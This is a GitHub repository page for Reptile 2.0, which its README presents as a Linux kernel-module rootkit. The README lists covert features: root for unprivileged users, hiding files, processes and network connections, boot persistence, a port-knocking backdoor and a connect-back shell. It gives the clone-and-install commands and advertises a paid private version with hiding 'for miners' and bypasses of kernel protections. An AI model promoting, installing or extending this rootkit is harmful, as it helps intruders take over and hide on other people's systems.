Skip to content

owlonexx/Reptile

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Reptile 2.0 (beta)






Reptile is a Linux LKM rootkit. Beta version, be careful when using it.




Features

  • Give root to unprivileged users
  • Hide files and directories
  • Hide processes
  • Hide himself
  • Hide TCP/IP connections
  • Hidden boot persistence
  • File content tampering
  • Some obfuscation techniques
  • ICMP/UDP/TCP port-knocking backdoor
  • Full TTY/PTY shell with file transfer
  • Client to handle Reptile Shell
  • Shell connect back each X times (not default)

Install

apt-get install linux-headers-$(uname -r)
perl -MCPAN -e "install String::Unescape"
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./setup.sh install

Uninstall

./setup.sh remove

Usage

See Wiki to usage details.

Warning

Some functions of this module is based on another rootkits. Please see the references!

References

Special thanks to my friend Ilya V. Matveychikov for the KHOOK framework and kmatryoshka loader.

Disclaimer

If you wanna more features like:

  • CPU usage hiding (for miners)
  • Generic binary that loads to any version of kernel
  • Best way to file tampering
  • Best way to hide files/process/dir
  • Best obfuscation
  • Bypass some kernel protections
  • A kernel module that survive to kernel update
  • Hiding connections and packets of other protocols

There is a private version of Reptile. Even if you wanna a new feature or a new kernel module on demand, send an e-mail to [email protected] to get more information.


About

LKM Linux rootkit

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

  • C 88.6%
  • Shell 9.4%
  • Makefile 1.5%
  • Perl 0.5%